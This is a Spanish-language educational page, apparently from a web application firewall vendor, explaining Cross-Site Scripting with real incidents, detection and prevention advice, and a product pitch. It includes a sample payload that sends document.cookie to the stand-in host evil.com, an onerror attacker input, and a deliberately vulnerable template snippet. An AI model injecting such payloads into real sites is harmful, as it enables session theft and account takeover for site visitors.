Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) es un ataque de inyección donde se insertan scripts maliciosos en sitios web de confianza. Cuando un usuario visita la página comprometida, el script se ejecuta en su navegador, permitiendo a los atacantes robar tokens de sesión, redirigir usuarios, alterar contenido o realizar acciones en nombre de la víctima.
Cómo Funciona Cross-Site Scripting (XSS)
XSS explota la confianza que el navegador del usuario deposita en el contenido recibido de un sitio web. Cuando una aplicación incluye datos no confiables en su salida sin la codificación adecuada, los atacantes pueden inyectar scripts ejecutables.
Encontrar una salida sin sanitizar
El atacante identifica un punto donde los datos proporcionados por el usuario se reflejan en el HTML sin la codificación adecuada — un resultado de búsqueda, campo de comentarios, parámetro de URL o mensaje de error.
Inyectar un payload de script
Se elabora una etiqueta de script maliciosa o un manejador de eventos, como <script>document.location='https://evil.com/?c='+document.cookie</script>, y se envía a través de la entrada vulnerable.
La víctima activa la ejecución
Cuando una víctima carga la página que contiene el script inyectado (mediante un enlace manipulado, un comentario almacenado o un DOM manipulado), su navegador ejecuta el código malicioso como si fuera contenido legítimo del sitio.
Explotar la sesión
El script roba cookies, tokens de sesión o credenciales y los envía al servidor del atacante. También puede modificar el contenido de la página, redirigir usuarios o realizar llamadas a la API en nombre de la víctima.
Ejemplos Reales
Gusano Samy (MySpace)
Un gusano XSS almacenado se propagó por MySpace, añadiendo más de 1 millón de amigos al perfil del atacante en menos de 24 horas. Fue el gusano de propagación más rápida de todos los tiempos.
Ataque Magecart a British Airways
Los atacantes inyectaron un script malicioso en la página de pagos de BA, robando datos de tarjetas de crédito de 380,000 transacciones durante 15 días. BA fue multada con £20 millones por el ICO.
Vulnerabilidad SSO de Fortnite
Una vulnerabilidad XSS en el flujo de autenticación de Epic Games podría haber permitido a los atacantes tomar el control de cualquier cuenta de jugador de Fortnite, afectando a más de 200 millones de usuarios.
Impacto y Evaluación de Riesgo
Los ataques XSS pueden provocar secuestro de sesiones, toma de control de cuentas, robo de credenciales, desfiguración de sitios, distribución de malware y phishing. El XSS almacenado es particularmente peligroso ya que afecta a todos los usuarios que visualizan la página comprometida. En contextos de comercio electrónico, XSS permite ataques de tipo Magecart que roban silenciosamente datos de pago a gran escala.
Cómo Detectar Cross-Site Scripting (XSS)
Implementar encabezados Content Security Policy (CSP) y monitorear las violaciones. Revisar los logs del servidor en busca de etiquetas de script y payloads codificados en los parámetros de solicitud. Usar herramientas de desarrollo del navegador para inspeccionar scripts inline inesperados. Desplegar reglas de WAF dirigidas a vectores XSS comunes. Monitorear mutaciones del DOM para detectar inyecciones de scripts inesperadas. Buscar variantes codificadas: %3Cscript%3E, <script>, y manejadores de eventos JavaScript en contextos inesperados.
Cómo Prevenir Cross-Site Scripting (XSS)
Codificar toda la salida proporcionada por el usuario utilizando codificación contextual (entidad HTML, JavaScript, URL, codificación CSS). Implementar una Content Security Policy (CSP) estricta que no permita scripts inline. Usar las flags HTTPOnly y Secure en las cookies de sesión para prevenir el acceso mediante JavaScript. Validar y sanitizar la entrada del lado del servidor. Usar frameworks modernos con auto-escape integrado (React, Angular, Vue). Aplicar el encabezado X-XSS-Protection como medida de defensa en profundidad.
Ejemplos de Código
<!-- VULNERABLE: user input rendered directly -->
<div class="search-results">
<p>Results for: ${userQuery}</p>
</div>
<!-- Attacker input: <img src=x onerror=alert(document.cookie)> -->
<!-- Renders executable HTML in the victim's browser -->
// Express.js — set strict CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});
PowerWAF bloquea automáticamente Cross-Site Scripting (XSS) antes de que llegue a tu servidor.
Implementa en minutos. Sin cambios de código. Plan gratuito disponible.
Los cupos del plan gratuito son limitados